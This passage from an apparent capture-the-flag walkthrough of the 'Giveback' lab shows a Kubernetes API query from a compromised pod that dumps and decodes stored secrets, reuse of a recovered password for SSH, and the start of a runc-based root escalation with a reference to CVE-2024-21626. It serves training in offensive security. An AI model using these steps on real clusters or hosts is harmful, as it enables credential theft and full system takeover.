POHpFSDNRQnRNUno3czBRSXdsWXkvNVNtOElCWDlmeVVaOTBXMTFHNGFlVTdIeUtURGRBYW1TR256d3pXdnZMUlFEbjhqRlJYZlROV3ppZWNWMGJrVHZreEw1NWF1QUl4RFYxWFVzSE9aNzFjZkVsL09qNG4xYlVOODgxSXhVVHFtdk1hZkVhcjJ1YUdhbVhLOGZ6TDlmQlpmcnk3RzRZcUhpTjN6SWU4dTBDMzBHcVpxTHdtb2h2YWhCOFhNU2F1ZlRNeUlUM2dMVGo2UWRUbjNyYVZUM1ZNbzFMTGJtdTlVemtubnFPTExhd3ZyS0hWdG5YVTlUSEx4OXA4cGh0SXZkamFKUDl6YWU0cEttUDlZLzFVek1GNmpLNjlPOExid3dEVTRkdkJuS0V3RVNkN29HTHBhZEJjVmVldWkvVmQ2YmkzbFRlblFyN1F3QnZsZ1JtOW5tWE5kNnpNTkJtZjNienYwejRMWC91WDcvaDN4eHYveXJRazN5cnNpdlh0VWFqL3ZuVTFaTjQ4NmNnU3Y3Nkh4WlY5bFo0Rmh3K244U1ZmSTVMdXZteC9ySDVKMkJCeWNmOGNmQklISHhIVjYrdUdtZmc4U1FkVCtXd1Q0R2hwY0JaaEVQeVZRQjhCR2J2Zk9QR0NaY3h1RWVZMkxETTZKMkF2NENBbHorSEZTcmZNNzNvdXBhZVR3SElYWFV6OTlTVjZpRE03NjlyRkw0WS9uRmcveWhKTDF0OUJVTDVlMExnbTZlTWZ6YlFGRDd2NlRRcVZRdFVYY2ZLU0FtUTdLQmpTaDV0azBmZlNkTUxTSk1hUjc2TGQzRi9UMmYrd3ZTdWE2QjhWTUxyMy9IMDNpcGF2K3hvenVBWm1Od2VPU0w4ekR0aXZRQ3hvaVF3cjJ0ZkEvV1gyUHptNVp1WVRiZjAvZWd5czh6aExkTXBuZEliN2JyZVFNam85ZEZ3eTE4Tkg2enQxNXZSY2pLYnJPYnJuMzhtKzVsTlVUNmFzWWVOZVdPKzJEUVZhWklvWXNTT3VOWU1qNnlFeGE4SEcyOFZiVThjL083QjRybk50alkzcWtmVGtSVDAxREU1NGVlTDl5U3N3VldEc3dkSVVoT0dhdkNPMzMrSVRML0QvZVNqN3QxZjEzNjlKTVAvNFNiaEw4ajRKL2tyWERqQkpmNnN5NlVaK21pVk9pbk5UWUFjM1ltK3Azc2Vmci8zbDk4anh6WERTSFhUZmRUVTBEU2M1Yzk3WVdWN1M4V0xnQ2NPN243Q044Z2pKT1RnKzZsNTBwQ0U5RmwvR2YyOHM1bUU0TW9vSHhhNXdTZjQwSS80S2ZKODVBWW5YeE5sSCtXcW0rL2dIRE9ONzRFS0w2QStEOU1QZGp6alVqVU1qQmMvLzArNkpzZTR2SGVRK2NneWpJK0JZNUFSeUxjdXplWFNQN0VTNUZ0aE5nYjVGaG1Ed1ViVkkzTjVHWnJSWlFnQlpEL1BaK3lYOUxhUGlQc3V1eFZIOTErK1c2Wm5MbFgwWFhmUy9VTCsrdnN2c2JsTXZpUGYrcm1lTGNlejBxdjRmSCttY29EVUhBLzUxbmR6RXpoTEV3OEp2NGZFanY4ejNXelJFTlNGbjB2aFNrZU82VVgvZkpXalNzSHVjdSs3Q3gvOEZLakp3QjV3ZlBrNjYzdmFxVmZnZ1hZVUJjYmxxNVBTSGYwbjRaN3BHK0lzcHVoTjhjaDhvMkN6SWRCMVJ4YXJwTXJoNS9iUzVYYmdkU3B0RG9ZOE8zWHVZUFNUMHVkS3gxWk1vU3NaV3ptTnJuVHNrMVBwU21lcG1FNVhPclppU3QzaDJLZW4xWlc4dlhKcTNjSFlaNlRYSGN6d3BCUzdnN0dWMHV3T3hsUk10VHZFaXNmUzdRNmVmMUxLM2NIWVI5THVEcDZ1bUhwM2VHNVYwKzhPeGxWTXdUc1lWU0VOcjNURWsxTHhTbWVvbUk1WE9yWmlTbDdwMkVwcGVhVWpuNWlhZDNpdVQwdlBPeHg5UGtYdjRPa0thWHFIODFkSjFUdW1UbFhUOVE1R1BqRmw3NUJPbkUvYk8xemw0Nmw3UjNTdlV2cmVJWXljVGVFN2ZFWDFOTDZkbUZBcG5RLy9IS1QwNFovOXRMN2RiRWZCcmJ2WG5VM3gyejFRbXVaM3VPalNkRC84VTU3eWR6clVOVi8zVWJyYzdwVlBTZ0VzVzJQVk5FRDg4M2dxNFBGbmprNThaaUc2dWNwM1ZrZ1BoTzA0blNKWUNRN09wd3RXT0txOXRNSGR2QWZwZy9qUytSVENkTkFma0VhSTMxUTFsZkRrZVp4S0tjeDI3R3hhWWFXVE9aZGlpTzgvSTgyd01PeFpxWVlWWDNzcTNmQ0p3NHNwaDRWdGVhWGtRTExGWmVtSHIvMlc3RjB2U2tVc0FjRno2WWhBd2MrbkpPS2ZSOUlTNFpIenFZbnBJMmZURTlOblRxY29Wc1NIOCttS0pUdDBKbVd4Z0tmUFRsdXN1T3hxS1l5bHl5L1A0eUpyUDg3bEtsei9IZElaQzdPWHBHZ2QzbjFTV3VQaDRHZW5OaDd2d0JQU0d4Lzd3QXBIWFRIZHNleXN6MlE0UFMzdHNVcE8xTG4weDhLbkhxZEFsaS9tVkJya09mSGg3RXNxYkhYRjFNamZCYTJla0NaWkdXdWVuQzc1K013dlRwdXNkSDdIV1ZNVlQvQUpxWlN2Z3pCbEtaWFB4eGFxV2I1SmUzTCtTNkg4VExybEk1OTVPdVd5MG9Jcjd2TnpONjk1U0dwS04rSE0xcVg3Y3k0bHMzeUREbmVpV21wbU5VcDJuS0paOFRNcXBtdWVQUEt5bE0wS3V0dnBKVDA5aGZNVlh2ZmNsTTZxV3VveGtUcnhyVWVabUsrOGw2ZFRQcC94b2lwQnJpdDlMd2ZnTHN0Sml3UWZ4YTdaUWFyakh2c1UzeU5xSG9sdkxTVHo1UUgwMy9aeitzZ1c1RmxzNldOWmVsb2U4WnJtbGVLOW8rcWM4N3l3RzZ5OElMelFNRC92c3hHUGxlTnRMck9aM3dOdnptUkRrVUNyUFBNUDhqTmlEVG1oUGZKQnlVemFKRURFREs5cjBUSUdoTmV6eDY5encyRXhCZU15UFJXSUdjaUE1VGhES0ZqNmthLzc2TG8yNjl4bEZ5TjFhWm5SSFR5Y2p6K0l2bjdwS1ZYYS9lTTllMzVJMld1RDlqdEV2eVNVckZaVFBjK1BnQi9oYlRxSEM2RVo0aFczNys4ZHo0bVNQd2plOFkvbkd5YTU3TVhvVDhPQ1p5YW92QnJBdjNsdS9WS1l0S01vMkFmSlhVcmNvd0JaSEh3TWovc3ZDZmZmQWpsMlQzaE4rQWZEZlpVc214MDhHMmFBL0FTTHZ5VmdyUVpCV01pNnVzbWZmUWZ2UjhFNy9KTnlVTU1JNi9WV2tyNkZZTm5FUjhqeHJIbGdxSkZKSkdBbzdCQ21TV0FaUEdTTExSNHVoSjd1TC96cFMzOUtHbm5sSTZ0K2JKV09EZ1QvN1BoMittS3RWaW5UaGp6Nmx4ckdJdVI0VWMxd3dESlVXOGJJdkhZOHcvU2lnaEcwVnJQOU1Hb2pSdzNOL1FSZmZCMFFwbkFWWDA5alEzTHZmL0d1RTF6WEtQb25MRmQ4cEVyV1FrcUluRnlLbWhIYzNaeUJiN1NQcis3MmhEemhSVTdwVThIU3ZEZVhTOU80aVplT1owMTEyelJpRElFOGRNVklMM2MzcGg3amRleU5KZW5NK2R0bjV0STl1SjlENUVHZTkvNVBHY2J0L3p3ZGlNK1BQZ21rMlUva0J6N3lyZVRXVEs1cisyT3pVejhjdERZZHk0NVNOTjN4a2JObkUrN1hwQ2s4a3hhZnVhNVI5VHAxZExsWWsrYTZSa3JTN0I0SzR5QkFKcWIrS29MSHcrdmFQLzVadUorRWVvVDJMb1o3K0RKNmhFc0FJSHRPMU1tcVllM2pCZG5kWUdrRzZ0SzgxTlRRdkRTYzVSNFd1S0N6NXhXZFBoMlZjTG8rTHQxME5NRmRYamNLYzZ0aTRhak04MDErRG8wSU9XU0M0ZndJNVBRZ3ZxNDE2M1gzOEFZcGdZUHhsNmFIenY3ZEk4UEUzbXowbWRtZ25rN3g1bW1nQUdBK1VXWHNnTHlsTHk5VUhEdGFtYkgwZzZPTGw3WDJZTEIvTWNoZVpwUytvN3hNMlU1Ukx6eVpseXc3Qk92OGJscSs3T1RvZVdndXl3YUg1c0R4NGswYWRuU2QxbWpZMjlOQzJiT2pyMDU1NzE0SnRPSXp1dSs2cW1jY1ViOVBtdU45MHRUUUx0NVFsMVo0OU9TbHFSOWUrdlZ3RlgvNXI4SjhoemMvMXZiaVBrSjk2UVFSQk5NaDMvcTR2NEx6ejkrSEg4dGU0SGozZnUzYlJjY1BFc2V6SUJPcFpqakxXdVRYVERlSUV2ekhQbDRSMXNWN05YOXBtUENnNTBjMWJXbXFpMXBrbTVqdVl0RUZqTGYzc2FlVHdCa25TbXAvQzJQZHJxbGhMUTZzcFdxWVljMWZwdjdJOE8rMXRWbnp6SjJUWVBlcXlLKzU2c0tFeWJQMXBjRnA2NlVUWWM3NW9SYjYyUVQ0ZWQwUGtwb1Q0VjlWYi9jaHRSWFliNCtSdFhhNXJGMWVZaEprTGxmbXo2NXZtUHNibVZPbzJpZVl6WENXbjlRZ0tKQzVSelkyVEZ6a2VJc1FMeW1NREQrT1BvV1JZUzVMTjFjMHlSZmdMMGErRmRidWZZVDNXak4xTlE1Ti9HVzJHcGJNU1dJbHlMeUg2N212L1ZmTkNiOGJ6dkk3MlpDeWlDTDh0djhYdjljNzVvNWttMDZOMnRzWXlKREJWdzlaQUhBejU5SGRTbldRMmwzdnJwWkdSVnc4NDlRQ08vaGtSbnBoYVlGTndpd3FuVmxnQjdXVnV0ekIyL0VpSHRsVnZJQ1Z1bnpDanFZakRwYThVcGZQMk1tYUg2U09mVXpLQW1SR3BySC9DUVFmaHBqN0h4TXZ3dEJoSFdVdkI0bjdUbzNzNjkxaXMyZjBjeUpDcVFEMng4b0c3OHoyaDJPMnByYzZBWUVNUHh1MWgvejNteTR6NXc2blhha29Cck1GMmJhTDhpbmFnOEZYOFh0M2VEZVR2OSsxcDFQeDYrVG01RXlKR1o2YUI0KzdtM1NuMCsvVFcvN3VPL1AxNjJ3Nm03VHZUczdsK2FlbUdyWW5mUHVHK2Q3N09wMmRIRjVxZ245a3dydXZrOW4zMFh6SWRDY241d1hqOEtQZmVOT2V0Wm4ydFB0OTFCNTJUNi94c0dicEV5YWVUODhzc2xpYzlBbHpadWY3bmVVSHAxZWQxVXI0ZEZpTzRmRTM0VVdmM1pFNE5KZVBUL1BFZFI0WElIajhGZDFobXgrY1hlWmVJc09qODdIOFpEbzdEdzE1Z2MzSFp4dTBINXNzcThiNStGeTlXYnZUd2I5OEZicVRDWC9UL1Q3Nk91bytBeTBMbXpkcU00UHVidWE3N21US1QyZmRVZWRsOHpLRHI5ejV6eTRXTzMxOHZoa3M4MjdTWlhucDVKVHI0SHNGbXRicGRjOHNDMnp5ajIrYk5KdTB2NHQzM3p0ZlJ5elA0WDltM2RGcEVsY0JVUVp6amg5TnoyeTZWd0ZDY3NESUNjVzBPNXZ4STI3NmpOTnMzN1U3UFF3YnM3dEs5QllTZ1I2ZmExcHRzcXVyeHY1a3ByZGlsLzYrR2U2d011RXAxOHhPMlMzVVF6OHNZSGpTNVhKcWRNRUpRMnd1aGRyYkI0dTZWeDBVTDgyWnZUUkQyMGZHZGUzei9nTWxGWkd2YXhSOXNMeTk4c2hZZmptUVRtSUlQaW04NVVDOHlTdDZIMGt1d1pGSEtoMUJndUR6VnpiM3JVL0ZNdEZQL2VTMGh2VFJVdkIxa2lkellOeExWMHFrOGIxZzU5S1BPVDdkV28xVW9yNkdxTUFLQjlCNDdmMC92NXYvVnJhODExS3JUcVQ4SEoxY3JKRUJoZElVeDFPLzlNMVluWC9zemVVcS8wdmZ2RktYbjVheDk5akxJemQ0eFhlbnRvT1RMOTIzSkx6YUsvUHlPU2RlK2ZvZnVWS1haOTlZYW50NDBodlBmZFByZnM5SjMwNEJWb0pTM3dSK2FYSFdSMmM4c0dWYzdnb3hsYnoxeEN4SEZwSExWTm8vOTcybGoyUXo3UlduZVFacCtiU3I2SEx5WTQ0ZklmU3V6TlpUZW9KdzhjWlo3dHNRS20xR3NQUWZURDB5RDQzeTVld0IzTEl3U2FtSGtienZFWS9YczJjNktNRmI0WXowckJ6UndUdWVWWTZvWUlRaXhwYWhiNWpYdGZybnE2dHplMzRJeGtGWjdQUEIrblI4N2J6MzhBVVJqSkVhbWZjeENzMEtFVERUOU9IcGUvWExQN3JpOVVIRXl0SmNPWGg1UFNlTS9HVUN1UjZaVlBnajFjRXUvL2JxQVoycEMzMVVMUmc4aGdDZmFhVVFvTWRpZnZaRFNYTmN0RTE5RWNidXB6MkNjRjFyWGYxRTNXdU54aFgxazBwUkZLVzFtbCthOUJYOWhXcGMwWVpHdHo3cnVrSHIydWU2UnV2cXZYbFYvOXk4MSs5YlAxMzlwT21OTDgwZkxOTG9pTGhXYmxwUkNVZWVCaXZWb2VYbEFVeVBobXdjd3ZGNzZORHJoUTRkbmZ2NVFhZGc0QzJISEZVSklBSjNMdEVsTXhkM0pWZGhlanpYQk9HTG5zTDZ1NmZ3UDhkVCtCeGpVT09uNXBINXhneHMweldYS3JyTTA4bG96amxsNUdsOHVYcWl4YWhaci9MS1puMTQ4cDEwOC9QK3pSODZJaW1OTVBvQmdsbUtGWUNmRUh0UkhIWVE1M011bHVWUERxY29ZVXJ2RlBJOWx1SjNpNlhJNGd3bVg3L09Lam14UzNIczBQMisxMURoL0l0ZkhEU1FSMHE4MXVLcnJUdHpQTDQ4a2lLYk1YVlJUNmVEeWo3TWMyN0J2U3pBRTU2OS9VWjdUL1hzTmY0VXo5NkJaK25ndHJrcGFHVG5HZTBaWm51U3Y1N2dzY1JkUjhEbXV4cHZmdjUyOGQvL0trV3Q2OHZmanVNT1V5YjRqMy9VTHU5cko0Y0NZTVA0MmovL2VZb1JscXpsdi8rbVExSEIvejZENnhkL0w1dnEzaW5YMXdpZVFFV01ORkdtZGhsam5LOWRCbmo1eGRmL2RoakgveVJQYXVNSDhGMitROWlmQzJHQjQxbFBnSzgzcTA1VWtGZkwzRnBsZnJKUzAwZzJ5ZFBjVVJtWEJYOFVhYnB5MGhkVmR2dEFNTDdVbDZaaGVwZ0toRTlkUXNiby95MmNuOFY5Tyt2L2ZHVzM5VkhubHhPdi9YMis5cEd3aEdQVjdWV2RsUzl5NHAzMEVENEN1YVdPU0hKeFZPRXRRTmtqMHkzemxpN001THBXUVNiZlJSdFZldmhnNHFwekZwOWI3ZHlQczh4Sm1GY2NPSEtPMUVySkZ6bzJHVC9IVVB3RTgvQlRqTUo3cm9HeWFrblpYcGJXVERySHpFNXdsa0lWcFMra2lOTEZoNHZVYlhKeC9mbW5EeGU1WC9UaU9uT0xYdnoyL3djQUFQLy9VSTR5Um8vY0JBQT0="
      },
      "type": "helm.sh/release.v1"
    },
    {
      "metadata": {
        "name": "user-secret-babywyrm",
        "namespace": "default",
        "uid": "a2cf5b17-ef8a-4404-8fd8-72db432ef695",
        "resourceVersion": "2857710",
        "creationTimestamp": "2026-02-17T11:42:13Z",
        "ownerReferences": [
          {
            "apiVersion": "bitnami.com/v1alpha1",
            "kind": "SealedSecret",
            "name": "user-secret-babywyrm",
            "uid": "d6898459-44f2-4b64-99cd-5e2a5ca44221",
            "controller": true
          }
        ],
        "managedFields": [
          {
            "manager": "controller",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2026-02-17T11:42:13Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:MASTERPASS": {}
              },
              "f:metadata": {
                "f:ownerReferences": {
                  ".": {},
                  "k:{\"uid\":\"d6898459-44f2-4b64-99cd-5e2a5ca44221\"}": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "MASTERPASS": "QlhaelBReVFRVmpRWlQxdFF5ZUwyVW96ZWVPc1h6ZWI="
      },
      "type": "Opaque"
    }
  ]
}
</span></code></pre></div></div>

<p>There’s a <em>ton</em> there!</p>

<p>I’ll use <code class="language-plaintext highlighter-rouge">jq</code> to get the names and available secrets:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">/var/www/html/cgi-bin # </span>kurl https://<span class="nv">$APISERVER</span>/api/v1/namespaces/default/secrets <span class="nt">-s</span> | jq <span class="s1">'.items[] | {name:.metadata.name, keys: (.data | keys)}'</span> <span class="nt">-c</span>
<span class="go">{"name":"beta-vino-wp-mariadb","keys":["mariadb-password","mariadb-root-password"]}
{"name":"beta-vino-wp-wordpress","keys":["wordpress-password"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v58","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v59","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v60","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v61","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v62","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v63","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v64","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v65","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v66","keys":["release"]}
{"name":"sh.helm.release.v1.beta-vino-wp.v67","keys":["release"]}
{"name":"user-secret-babywyrm","keys":["MASTERPASS"]}
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">sh.helm.release</code> ones are release blogs, which are <em>really</em> long, and not useful to me. I’ll get the data for the others:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/var/www/html/cgi-bin # </span>kurl https://<span class="nv">$APISERVER</span>/api/v1/namespaces/default/secrets <span class="nt">-s</span> | jq <span class="s1">'.items[] | select(.metadata.name | startswith("sh.helm") | not) | {name: .metadata.name, data: .data }'</span> <span class="nt">-c</span>
<span class="go">{"name":"beta-vino-wp-mariadb","data":{"mariadb-password":"c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T","mariadb-root-password":"c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="}}
{"name":"beta-vino-wp-wordpress","data":{"wordpress-password":"TzhGN0tSNXpHaQ=="}}
{"name":"user-secret-babywyrm","data":{"MASTERPASS":"QlhaelBReVFRVmpRWlQxdFF5ZUwyVW96ZWVPc1h6ZWI="}}
</span></code></pre></div></div>

<p>It’s all base64-encoded. I’ll decode within <code class="language-plaintext highlighter-rouge">jq</code>:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/var/www/html/cgi-bin # </span>kurl https://<span class="nv">$APISERVER</span>/api/v1/namespaces/default/secrets <span class="nt">-s</span> | jq <span class="s1">'.items[] | select(.metadata.name | startswith("sh.helm") | not) | {name: .metadata.name, data: (.data | map_values(@base64d))}'</span> <span class="nt">-c</span>
<span class="go">{"name":"beta-vino-wp-mariadb","data":{"mariadb-password":"sW5sp4spa3u7RLyetrekE4oS","mariadb-root-password":"sW5sp4syetre32828383kE4oS"}}
{"name":"beta-vino-wp-wordpress","data":{"wordpress-password":"O8F7KR5zGi"}}
{"name":"user-secret-babywyrm","data":{"MASTERPASS":"BXZzPQyQQVjQZT1tQyeL2UozeeOsXzeb"}}
</span></code></pre></div></div>

<p>That’s two MariaDB passwords, the WordPress password, and a user named babywyrm’s secret. All but the user’s secret I’ve seen before from the <code class="language-plaintext highlighter-rouge">/secrets</code> directory <a href="#pod-enumeration">above</a>.</p>

<h3 id="ssh">SSH</h3>

<p>The <code class="language-plaintext highlighter-rouge">user-secret-babywyrm</code> works for that user over SSH:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ssh giveback.htb <span class="nt">-u</span> babywyrm <span class="nt">-p</span> BXZzPQyQQVjQZT1tQyeL2UozeeOsXzeb
<span class="netexec-protocol">SSH </span><span class="go">        10.129.242.171  22     giveback.htb     </span><span class="netexec-logmessage">[*]</span><span class="go"> SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.242.171  22     giveback.htb     </span><span class="netexec-logsuccess">[+]</span><span class="go"> babywyrm:BXZzPQyQQVjQZT1tQyeL2UozeeOsXzeb  Linux - Shell access!
</span></code></pre></div></div>

<p>I’ll connect:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> BXZzPQyQQVjQZT1tQyeL2UozeeOsXzeb ssh babywyrm@giveback.htb
<span class="go">Warning: Permanently added 'giveback.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-124-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Feb 17 12:29:53 2026 from 10.10.14.44
</span><span class="gp">babywyrm@giveback:~$</span><span class="w">
</span></code></pre></div></div>

<p>And grab the user flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">f0f88020************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-3">Enumeration</h3>

<h4 id="users">Users</h4>

<p>babywyrm’s home directory is very empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span>find <span class="nb">.</span> <span class="nt">-type</span> f
<span class="go">./.wgetrc
./.bash_logout
./.profile
./.sudo_as_admin_successful
./.cache/motd.legal-displayed
./.ssh/authorized_keys
./user.txt
./.bashrc
</span></code></pre></div></div>

<p>There are no other directories in <code class="language-plaintext highlighter-rouge">/home</code>. babywyrm and root are the only users with shells configured:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
babywyrm:x:1000:1000:babywyrm:/home/babywyrm:/bin/bash
</span></code></pre></div></div>

<p>babywyrm can run a binary from <code class="language-plaintext highlighter-rouge">/opt</code> as any user with <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for babywyrm on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    timestamp_timeout=0, timestamp_timeout=20

User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">NOPASSWD: !ALL</code> rule means no commands can be run without a password. Combined with the second rule, babywyrm can only run <code class="language-plaintext highlighter-rouge">/opt/debug</code> with sudo, and must enter a password to do so.</p>

<h4 id="debug">debug</h4>

<p>The <code class="language-plaintext highlighter-rouge">debug</code> binary is only accessible by root:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /opt/debug 
<span class="go">-rwx------ 1 root root 5802 Nov 12 10:21 /opt/debug
</span></code></pre></div></div>

<p>On running it, it prompts for a password:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug
<span class="go">[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

Error: Incorrect administrative password
</span></code></pre></div></div>

<p>The MariaDB password “sW5sp4spa3u7RLyetrekE4oS” works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug
<span class="go">[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

[*] Administrative password verified
Error: No command specified. Use '/opt/debug --help' for usage information.
</span></code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">--help</code> is shows the commands:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug <span class="nt">--help</span>
<span class="go">[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

[*] Administrative password verified
[*] Processing command: --help
Restricted runc Debug Wrapper

Usage:
  /opt/debug [flags] spec
  /opt/debug [flags] run &lt;id&gt;
  /opt/debug version | --version | -v

Flags:
  --log &lt;file&gt;
  --root &lt;path&gt;
  --debug
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">version</code> command gives more info:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">sudo</span> /opt/debug version
<span class="go">[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password: 

[*] Administrative password verified
[*] Processing command: version
runc version 1.1.11
commit: v1.1.11-0-g4bccb38c
spec: 1.0.2-dev
go: go1.20.12
libseccomp: 2.5.4
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">debug</code> binary looks like a restricted wrapper around <code class="language-plaintext highlighter-rouge">runc</code>, the OCI container runtime that Docker/containerd/K8s use under the hood.</p>

<h3 id="multiple-paths">Multiple Paths</h3>

<p>I’ll show two different paths to get root:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as babywyrm]--&gt;B(&lt;a href='#abuse-runc-directly'&gt;runc Host\nFS Mount&lt;/a&gt;);
    B--&gt;C[Shell as root];
    A--&gt;D(&lt;a href='#cve-2024-21626'&gt;CVE-2024-21626&lt;/a&gt;);
    D--&gt;C;

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<p>The intended path is CVE-2024-21626. In fact, HackTheBox patched the box to make the unintended path harder shortly after launch, but it’s still doable.</p>

<h3 id="abuse-runc-directly">Abuse runc Directly</h3>

<h4 id="blocked-by-binary">Blocked by Binary</h4>

<p><code class="language-plaintext highlighter-rouge">runc</code> can create containers, so I’ll have it create one with the host filesystem mounted where I can enter the container as root.</p>

<p>I’ll start by making a directory to run from:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/runc/rootfs
<span class="gp">babywyrm@giveback:~$</span><span class="w"> </span><span class="nb">cd</span> /tmp/runc/
<span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll need to setup the root filesystem for the container:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">cp</span> <span class="nt">-aL</span> /bin rootfs/bin 
<span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">mkdir </span>rootfs/lib64
<span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">cp</span> /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
<span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">mkdir </span>rootfs/lib
<span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">cp</span> <span class="nt">-a</span> /lib/x86_64-linux-gnu rootfs/lib
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">runc spec</code> command will generate the default OCI spec. I could use <code class="language-plaintext highlighter-rouge">debug</code>, but I’ll just use <code class="language-plaintext highlighter-rouge">runc</code> since this step doesn’t need root privileges:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="450"><div class="highlight"><pre class="highlight"><code><span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span>runc spec                              
<span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span>
<span class="go">total 8
-rw-rw-r-- 1 babywyrm babywyrm 2500 Feb 18 20:13 config.json
drwxrwxr-x 5 babywyrm babywyrm 4096 Feb 18 20:11 rootfs
</span><span class="gp">babywyrm@giveback:/tmp/runc$</span><span class="w"> </span><span class="nb">cat </span>config.json
<span class="go">{
        "ociVersion": "1.2.1",
        "process": {
                "terminal": true,
                "user": {
                        "uid": 0,
                        "gid": 0
                },
                "args": [
                        "sh"
                ],
                "env": [
                        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
                        "TERM=xterm"
                ],
